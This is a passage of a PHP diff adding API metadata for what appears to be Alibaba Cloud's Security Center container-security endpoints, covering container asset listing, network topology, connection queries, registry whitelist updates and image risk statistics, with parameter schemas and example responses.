=> '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D', + ], + 'PageInfo' => [ + 'description' => '数据分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的容器资产的数量。默认值为**20**，表示每页显示20条容器资产信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的容器资产的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '25', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的容器资产信息的条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'GroupedContainerInstanceList' => [ + 'description' => '查询到的容器资产信息的列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器资产信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险的等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危', + 'type' => 'string', + 'example' => 'low', + ], + 'HostIp' => [ + 'description' => '容器集群的主机IP。', + 'type' => 'string', + 'example' => '172.114.XX.XX', + ], + 'Pod' => [ + 'description' => '容器组名称。', + 'type' => 'string', + 'example' => 'csi-plugin-2n****', + ], + 'RiskStatus' => [ + 'description' => '风险状态。取值：'."\n" + .'- **NO**：无风险。'."\n" + .'- **YES**：有风险。', + 'type' => 'string', + 'example' => 'NO', + ], + 'CreateTime' => [ + 'description' => '创建集群时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1600076893000', + ], + 'Namespace' => [ + 'description' => '集群的命名空间。', + 'type' => 'string', + 'example' => 'kube-system', + ], + 'CusterState' => [ + 'description' => '集群的运行状态。取值：'."\n" + .'- **running**：集群正在运行。'."\n" + .'- **stopped**：集群已经停止运行。'."\n" + .'- **deleted**：集群已经被删除。'."\n" + .'- **delete_failed**：删除集群失败。'."\n" + .'- **failed**：创建集群失败。', + 'type' => 'string', + 'example' => 'running', + ], + 'InstanceId' => [ + 'description' => '服务器实例的ID。', + 'type' => 'string', + 'example' => 'i-8vb9ul5xec4tua4q****', + ], + 'RegionId' => [ + 'description' => '实例所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'AppName' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'example' => 'oss-liveness-probe', + ], + 'InstanceCount' => [ + 'description' => '查询到的容器组数量、应用数量、集群数量或命名空间数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + 'ClusterType' => [ + 'description' => '集群的类型。取值：'."\n" + .'- **Kubernetes**：Kubernetes专有版。'."\n" + .'- **ManagedKubernetes**：标准托管集群（边缘集群）。'."\n" + .'- **Ask**：标准Serverless集群。', + 'type' => 'string', + 'example' => 'ManagedKubernetes', + ], + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'PodIp' => [ + 'description' => '容器组IP。', + 'type' => 'string', + 'example' => '172.114.XX.XX', + ], + 'VulCount' => [ + 'description' => '在当前容器组、应用、命名空间或集群中检测出的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AlarmCount' => [ + 'description' => '在当前容器组、应用、命名空间或集群中检测出的告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RiskInstanceCount' => [ + 'description' => '存在风险的实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'cf3824769c85441b4bf3****', + ], + 'Image' => [ + 'description' => '容器镜像。', + 'type' => 'string', + 'example' => 'registry-vpc.ap-southeast-5.aliyuncs.com/log-service-release/sls-connector:1.1.77', + ], + 'ImageRepoNamespace' => [ + 'description' => '镜像仓库命名空间。', + 'type' => 'string', + 'example' => 'name001', + ], + 'ImageRepoName' => [ + 'description' => '镜像仓库名称。', + 'type' => 'string', + 'example' => 'test-003', + ], + 'ImageRepoTag' => [ + 'description' => '镜像仓库标签。', + 'type' => 'string', + 'example' => 'dev-20220512-2', + ], + 'ImageDigest' => [ + 'description' => '镜像digest值。', + 'type' => 'string', + 'example' => '58e58c013f70bbfde140c8a55c1078074b3483479428d4069aa946827fd566cf', + ], + 'ImageUuid' => [ + 'description' => '镜像UUID。', + 'type' => 'string', + 'example' => 'e4bdec1d9ba7e0967111a7ea467c****', + ], + 'HcCount' => [ + 'description' => '在当前容器组、应用、命名空间或集群中检测出的基线总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'SyncOpen' => [ + 'description' => '集群日志审计同步开关。取值：'."\n" + .'- **0**：关闭。'."\n" + .'- **1**：开启。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SyncStatus' => [ + 'description' => '集群日志审计同步状态。取值：'."\n" + .'- **0**：同步失败。'."\n" + .'- **1**：同步成功。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 25,\\n \\"Count\\": 20\\n },\\n \\"GroupedContainerInstanceList\\": [\\n {\\n \\"RiskLevel\\": \\"low\\",\\n \\"HostIp\\": \\"172.114.XX.XX\\",\\n \\"Pod\\": \\"csi-plugin-2n****\\",\\n \\"RiskStatus\\": \\"NO\\",\\n \\"CreateTime\\": 1600076893000,\\n \\"Namespace\\": \\"kube-system\\",\\n \\"CusterState\\": \\"running\\",\\n \\"InstanceId\\": \\"i-8vb9ul5xec4tua4q****\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"AppName\\": \\"oss-liveness-probe\\",\\n \\"InstanceCount\\": 9,\\n \\"ClusterType\\": \\"ManagedKubernetes\\",\\n \\"ClusterName\\": \\"test\\",\\n \\"PodIp\\": \\"172.114.XX.XX\\",\\n \\"VulCount\\": 1,\\n \\"AlarmCount\\": 1,\\n \\"RiskInstanceCount\\": 1,\\n \\"ClusterId\\": \\"cf3824769c85441b4bf3****\\",\\n \\"Image\\": \\"registry-vpc.ap-southeast-5.aliyuncs.com/log-service-release/sls-connector:1.1.77\\",\\n \\"ImageRepoNamespace\\": \\"name001\\",\\n \\"ImageRepoName\\": \\"test-003\\",\\n \\"ImageRepoTag\\": \\"dev-20220512-2\\",\\n \\"ImageDigest\\": \\"58e58c013f70bbfde140c8a55c1078074b3483479428d4069aa946827fd566cf\\",\\n \\"ImageUuid\\": \\"e4bdec1d9ba7e0967111a7ea467c****\\",\\n \\"HcCount\\": 20,\\n \\"SyncOpen\\": 1,\\n \\"SyncStatus\\": 1\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\n \\n 1\\n 20\\n 25\\n 20\\n \\n \\n low\\n 172.114.XX.XX\\n csi-plugin-2n****\\n NO\\n 1600076893000\\n kube-system\\n running\\n i-8vb9ul5xec4tua4q****\\n cn-hangzhou\\n oss-liveness-probe\\n 9\\n ManagedKubernetes\\n test\\n 172.114.XX.XX\\n 1\\n 1\\n 1\\n cf3824769c85441b4bf3****\\n \\n","errorExample":""}]', + 'title' => '查询容器列表信息', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'RefreshContainerAssets' => [ + 'summary' => '刷新资产中心的容器资产数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'AssetType', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要刷新的容器资产类型。取值：'."\n" + .'- **IMAGE**：容器镜像。'."\n" + .'- **CONTAINER**：容器。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => 'IMAGE', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2090F329-3658-49AF-820B-C4157FC31BCB', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"2090F329-3658-49AF-820B-C4157FC31BCB\\"\\n}","errorExample":""},{"type":"xml","example":"\\n 2090F329-3658-49AF-820B-C4157FC31BCB\\n","errorExample":""}]', + 'title' => '刷新资产中心的容器资产数据', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeClusterNetwork' => [ + 'summary' => '查询集群维度的网络拓扑边信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间的时间戳。单位：毫秒。'."\n" + ."\n" + .'> 开始时间戳和结束时间戳不能超过**7**天。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1656038740435', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间的时间戳。单位：毫秒。'."\n" + ."\n" + .'> 开始时间戳和结束时间戳相差不能超过**7**天。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1656038940435', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'C286491D-4A2F-589A-B63B-D2AD3DA9BD71', + ], + 'ClusterNetwork' => [ + 'description' => '集群维度的网络拓扑边信息列表。', + 'type' => 'object', + 'properties' => [ + 'Node' => [ + 'description' => '节点信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '节点信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '节点类型。取值：'."\n" + ."\n" + .'- **cluster**：集群。'."\n" + .'- **internet**：集群外部网络节点。', + 'type' => 'string', + 'example' => 'cluster', + ], + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **3**：高危。'."\n" + .'- **2**：中危。'."\n" + .'- **1**：低危。'."\n" + .'- **0**：安全。'."\n" + .'- **-1**：未知。', + 'type' => 'string', + 'example' => '3', + ], + 'NetTopoSwitch' => [ + 'description' => '网络拓扑开关。取值：'."\n" + ."\n" + .'- **ON**：开启。'."\n" + .'- **OFF**：关闭。', + 'type' => 'string', + 'example' => 'ON', + ], + 'InterceptionType' => [ + 'description' => '网络类型。取值：'."\n" + .'- **0**：经典网络。'."\n" + .'- **1**：专有网络。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'CnnfSwitch' => [ + 'description' => '微隔离开关。取值：'."\n" + ."\n" + .'- **0**：关闭。'."\n" + .'- **1**：开启。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Name' => [ + 'description' => '节点名称。', + 'type' => 'string', + 'example' => 'testwww', + ], + 'Id' => [ + 'description' => '节点编号。', + 'type' => 'string', + 'example' => 'cfeb7a9f99ce740e98c5595d0fe37****'."\n", + ], + ], + ], + ], + 'Edge' => [ + 'description' => '拓扑边信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '拓扑边信息。', + 'type' => 'object', + 'properties' => [ + 'DstNodeId' => [ + 'description' => '目的节点ID。', + 'type' => 'string', + 'example' => 'cfb41a869c71e4678a97021582dd8****', + ], + 'Port' => [ + 'description' => '拓扑边的端口号。', + 'type' => 'string', + 'example' => '6164', + ], + 'SrcNodeId' => [ + 'description' => '源节点ID。', + 'type' => 'string', + 'example' => 'cfb41a869c71e4678a97021582dd8****', + ], + 'SrcNodeType' => [ + 'description' => '源节点类型。'."\n" + .'- **cluster**：集群。'."\n" + .'- **internet**：外部网络节点。', + 'type' => 'string', + 'example' => 'cluster', + ], + 'DstNodeType' => [ + 'description' => '目的节点类型。'."\n" + .'- **cluster**：集群。', + 'type' => 'string', + 'example' => 'cluster', + ], + 'Id' => [ + 'description' => '拓扑边的编号。', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C286491D-4A2F-589A-B63B-D2AD3DA9BD71\\",\\n \\"ClusterNetwork\\": {\\n \\"Node\\": [\\n {\\n \\"Type\\": \\"cluster\\",\\n \\"RiskLevel\\": \\"3\\",\\n \\"NetTopoSwitch\\": \\"ON\\",\\n \\"InterceptionType\\": 1,\\n \\"CnnfSwitch\\": 1,\\n \\"Name\\": \\"testwww\\",\\n \\"Id\\": \\"cfeb7a9f99ce740e98c5595d0fe37****\\\\n\\"\\n }\\n ],\\n \\"Edge\\": [\\n {\\n \\"DstNodeId\\": \\"cfb41a869c71e4678a97021582dd8****\\",\\n \\"Port\\": \\"6164\\",\\n \\"SrcNodeId\\": \\"cfb41a869c71e4678a97021582dd8****\\",\\n \\"SrcNodeType\\": \\"cluster\\",\\n \\"DstNodeType\\": \\"cluster\\",\\n \\"Id\\": \\"1\\"\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '查询集群维度的网络拓扑边信息', + ], + 'FindContainerNetworkConnect' => [ + 'summary' => '获取两个节点间网络连接的信息。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'CriteriaType', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的元素的查询类型。取值：'."\n" + ."\n" + .'- **EDGE**：连接信息', + 'type' => 'string', + 'required' => false, + 'example' => 'EDGE', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '网络连接的开始时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1666886400000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '配置网络连接的结束时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1649260799999', + ], + ], + [ + 'name' => 'SrcNode', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '源节点信息，用于筛选源节点。', + 'type' => 'object', + 'properties' => [ + 'NodeType' => [ + 'description' => '节点类型，取值：'."\n" + .'- **app**：应用。表示节点类型为应用。', + 'type' => 'string', + 'required' => false, + 'example' => 'app', + ], + 'ClusterId' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c56xxx1775dea0', + ], + 'Namespace' => [ + 'description' => '集群的命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'default', + ], + 'AppName' => [ + 'description' => '容器应用名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'arms-prometheus-ack-arms-prometheus', + ], + 'PodName' => [ + 'description' => 'Pod名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'abc-deployment-yacs-31144-39265-1384966-7f8c8cd578-h6mhb', + ], + 'NodeIds' => [ + 'description' => '节点ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '节点ID。', + 'type' => 'string', + 'required' => false, + 'example' => '1001', + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'DstNode', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '目的节点信息，用于筛选目的节点。', + 'type' => 'object', + 'properties' => [ + 'NodeType' => [ + 'description' => '节点类型，取值：'."\n" + .'- **app**：应用。表示节点类型为应用。', + 'type' => 'string', + 'required' => false, + 'example' => 'app', + ], + 'ClusterId' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'f5x833820xx', + ], + 'Namespace' => [ + 'description' => '集群的命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'default', + ], + 'AppName' => [ + 'description' => '容器应用名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'nginx-ingress-controller', + ], + 'PodName' => [ + 'description' => 'Pod名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'abc-deployment-yacs-31144-39265-1384966-7f8c8cd578-h6mhb', + ], + 'NodeIds' => [ + 'description' => '节点ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '节点ID。', + 'type' => 'string', + 'required' => false, + 'example' => '1001', + ], + 'required' => false, + ], + ], + 'required' => false, + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '返回对象', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8686CE6E-9BFA-5436-A9D9-77B984AEE7F8', + ], + 'Connects' => [ + 'description' => '网络连接信息。', + 'type' => 'array', + 'items' => [ + 'description' => '网络连接信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '网络连接ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1458', + ], + 'FirstTime' => [ + 'description' => '首次发生连接时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1636077279174', + ], + 'LastTime' => [ + 'description' => '最新发生连接时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1636595679174', + ], + 'SrcIp' => [ + 'description' => '源IP。', + 'type' => 'string', + 'example' => '35.233.62.116', + ], + 'SrcPort' => [ + 'description' => '源端口号。', + 'type' => 'string', + 'example' => '10240', + ], + 'DstIp' => [ + 'description' => '目的IP。', + 'type' => 'string', + 'example' => '172.20.62.176', + ], + 'DstPort' => [ + 'description' => '目的端口。', + 'type' => 'string', + 'example' => '443', + ], + 'SrcContainer' => [ + 'description' => '源容器信息。'."\n" + .'>暂不支持。>', + 'type' => 'object', + 'properties' => [ + 'ContainerId' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'example' => '48a6xxx5709d5a5866', + ], + ], + ], + 'DstContainer' => [ + 'description' => '目的容器信息。'."\n" + ."\n" + .'>暂不支持。>', + 'type' => 'object', + 'properties' => [ + 'ContainerId' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'example' => '48a6dxxx9d5a5866', + ], + ], + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '查询到的连接的总数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '12', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的容器资产的数量。默认值为**20**，表示每页显示20条网络连接信息。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '20', + ], + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8686CE6E-9BFA-5436-A9D9-77B984AEE7F8\\",\\n \\"Connects\\": [\\n {\\n \\"Id\\": 1458,\\n \\"FirstTime\\": 1636077279174,\\n \\"LastTime\\": 1636595679174,\\n \\"SrcIp\\": \\"35.233.62.116\\",\\n \\"SrcPort\\": \\"10240\\",\\n \\"DstIp\\": \\"172.20.62.176\\",\\n \\"DstPort\\": \\"443\\",\\n \\"SrcContainer\\": {\\n \\"ContainerId\\": \\"48a6xxx5709d5a5866\\"\\n },\\n \\"DstContainer\\": {\\n \\"ContainerId\\": \\"48a6dxxx9d5a5866\\"\\n }\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"TotalCount\\": 12,\\n \\"Count\\": 10,\\n \\"PageSize\\": 20,\\n \\"CurrentPage\\": 1\\n }\\n}","type":"json"}]', + 'title' => '查询容器网络连接信息', + ], + 'UpdateWhiteList' => [ + 'summary' => '更新镜像仓库IP白名单。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92454', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + ], + 'parameters' => [ + [ + 'name' => 'RegistryId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓ID。'."\n" + .'>调用[PageImageRegistry](~~PageImageRegistry~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '19882', + ], + ], + [ + 'name' => 'WhiteList', + 'in' => 'query', + 'schema' => [ + 'description' => '白名单列表。若有多个加白地址，用（,）分隔。', + 'type' => 'string', + 'required' => true, + 'example' => '192.168.XXX.XXX,192.180.XXX.XXX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '处理结果。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '576EF709-71CE-500F-95FC-7F7A297D****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"576EF709-71CE-500F-95FC-7F7A297D****\\"\\n}","type":"json"}]', + 'title' => '更新镜像仓库IP白名单', + ], + 'GetRegistryScanDayNum' => [ + 'summary' => '查询镜像安全扫描时间范围。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', + ], + 'ScanDayNumConfig' => [ + 'description' => '扫描的天数配置。', + 'type' => 'object', + 'properties' => [ + 'ScanDayNum' => [ + 'description' => '扫描时间范围，单位：天。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'DayNumList' => [ + 'description' => '备选天数列表。', + 'type' => 'string', + 'example' => '1,3,7,15,30,90,180,365', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"ScanDayNumConfig\\": {\\n \\"ScanDayNum\\": 7,\\n \\"DayNumList\\": \\"1,3,7,15,30,90,180,365\\"\\n }\\n}","type":"json"}]', + 'title' => '查询镜像安全扫描时间范围', + ], + 'GetDockerhubImageRiskStatistic' => [ + 'summary' => '查询Dockerhub镜像的风险情况统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Types', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '需要查询的镜像风险类型。', + 'type' => 'array', + 'items' => [ + 'description' => '需要统计的镜像维度类型。'."\n" + .'- **totalScanned**：统计Dockerhub镜像的扫描数量'."\n" + .'- **vulAsap**：统计高危漏洞的数量'."\n" + .'- **baseline**： 统计基线的数量', + 'type' => 'string', + 'required' => false, + 'example' => 'totalScanned', + ], + 'required' => false, + 'maxItems' => 5, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', + ], + 'RiskRankInfo' => [ + 'description' => '风险源信息。', + 'type' => 'object', + 'properties' => [ + 'ScanTime' => [ + 'description' => '扫描时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1693997625000', + ], + 'ScanTimeTimestamp' => [ + 'description' => '扫描时间戳。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1693997625000', + ], + 'VulAsap' => [ + 'description' => '高危漏洞的风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Baseline' => [ + 'description' => '基线问题风险数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalScanned' => [ + 'description' => 'Dockerhub镜像的扫描数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"RiskRankInfo\\": {\\n \\"ScanTime\\": 1693997625000,\\n \\"ScanTimeTimestamp\\": 1693997625000,\\n \\"VulAsap\\": 1,\\n \\"Baseline\\": 1,\\n \\"TotalScanned\\": 1\\n }\\n}","type":"json"}]', + 'title' => '查询Dockerhub镜像的风险情况统计', + ], + 'ListImageRegistryExtra' => [ + 'summary' => '查询镜像仓额外配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '92332', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + 'autoTest' => false, + ], + 'parameters' => [ + [ + 'name' => 'RegistryId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓ID。'."\n" + 